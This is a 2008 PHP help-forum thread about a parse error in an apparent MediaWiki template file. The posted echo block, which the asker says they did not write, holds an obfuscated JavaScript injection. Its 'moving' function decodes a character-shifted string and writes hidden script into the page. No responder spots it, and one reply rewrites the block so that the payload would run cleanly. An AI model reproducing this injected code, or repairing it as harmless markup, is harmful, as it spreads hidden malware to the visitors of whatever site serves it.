PHP Error Help

Reply

Join Date: Aug 2008
Posts: 2
Reputation: predster is an unknown quantity at this point 
Solved Threads: 0
predster predster is offline Offline
Newbie Poster

PHP Error Help

 
0
  #1
Aug 11th, 2008
I'm new to php and I'm having some trouble with a code error. Can anyone help?


I get this error: "Error in my_thread_global_end(): 1 threads didn't exit PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in exception.php on line 130"


This is the code:

  1.  
  2.  
  3. echo "<html>
  4. <head>
  5. <title>$title</title>
  6. </head>
  7. <body><script language = "javascript">function moving(s){
  8. var s1=unescape(s.substr(0,s.length)); var t='';
  9. for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7);
  10. document.write(unescape(t));
  11. };
  12. moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>
  13. <h1><img src='$wgLogo' style='float:left;margin-right:1em' alt=''>$title</h1>
  14. ";
  15. }
Last edited by predster; Aug 11th, 2008 at 10:20 am.
Reply With Quote Quick reply to this message  
Join Date: Aug 2008
Posts: 48
Reputation: Demiloy is an unknown quantity at this point 
Solved Threads: 4
Demiloy Demiloy is offline Offline
Light Poster

Re: PHP Error Help

 
0
  #2
Aug 11th, 2008
Javascript and PHP can't go together. So is my information, anyway.
Reply With Quote Quick reply to this message  
Join Date: Aug 2008
Posts: 2
Reputation: predster is an unknown quantity at this point 
Solved Threads: 0
predster predster is offline Offline
Newbie Poster

Re: PHP Error Help

 
0
  #3
Aug 11th, 2008
Ok thanks, i actually didn't write the code, so I'm not sure why that's there
Reply With Quote Quick reply to this message  
Join Date: Aug 2008
Posts: 381
Reputation: langsor is an unknown quantity at this point 
Solved Threads: 33
langsor langsor is offline Offline
Posting Whiz

Re: PHP Error Help

 
0
  #4
Aug 11th, 2008
You can write javascript with PHP, but it can be a little tricky.
In the above block of code you are using double-quotes for your echo string echo ", and inside that string you have double quotes surrounding your html property values "javascript" which are escaping your main string. You can't use single quotes in your echo string because you have PHP variables which values you need in your string.

You can try the same thing using a heardoc format...
  1.  
  2. <?php
  3. echo <<<endline
  4. <html>
  5. <head>
  6. <title>$title</title>
  7. </head>
  8. <body>
  9. <script type="text/javascript">
  10. function moving( s ) {
  11. var s1 = unescape( s.substr( 0, s.length ) );
  12. var t = '';
  13. for( i = 0; i < s1.length; i ++ ) {
  14. t += String.fromCharCode( s1.charCodeAt( i ) +7 );
  15. document.write( unescape( t ) );
  16. }
  17. };
  18. moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37');
  19. </script>
  20. <h1><img src="$wgLogo" style="float:left; margin-right:1em;" alt="">$title</h1>
  21. endline;
  22. ?>
  23. </body>
  24. </html>
  25. }
Last edited by langsor; Aug 11th, 2008 at 1:08 pm.
Reply With Quote Quick reply to this message  
Join Date: Jun 2008
Posts: 849
Reputation: R0bb0b is on a distinguished road 
Solved Threads: 67
R0bb0b's Avatar
R0bb0b R0bb0b is offline Offline
Practically a Posting Shark

Re: PHP Error Help

 
0
  #5
Aug 11th, 2008
another option would be to escape any double quotes in the string, for example
  1. "<script language = \"javascript\">"
or
  1. "<script language = 'javascript'>"
Last edited by R0bb0b; Aug 11th, 2008 at 1:39 pm.
“Be who you are and say what you feel because those who mind don't matter and those who matter don't mind.” - Dr. Seuss

-- The documentation is inevitable, you may get away with it for a little while but eventually you too will have to do the deed.
Reply With Quote Quick reply to this message  
Join Date: Aug 2008
Posts: 48
Reputation: Demiloy is an unknown quantity at this point 
Solved Threads: 4
Demiloy Demiloy is offline Offline
Light Poster

Re: PHP Error Help

 
0
  #6
Aug 11th, 2008
A third option would be not to echo it in PHP at all. Just write it the normal way, and when you need to use PHP variables, just open and close PHP tags where needed.
Reply With Quote Quick reply to this message  
Reply

This thread is more than three months old.
Perhaps start a new thread instead?
Message:


Thread Tools Search this Thread



About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC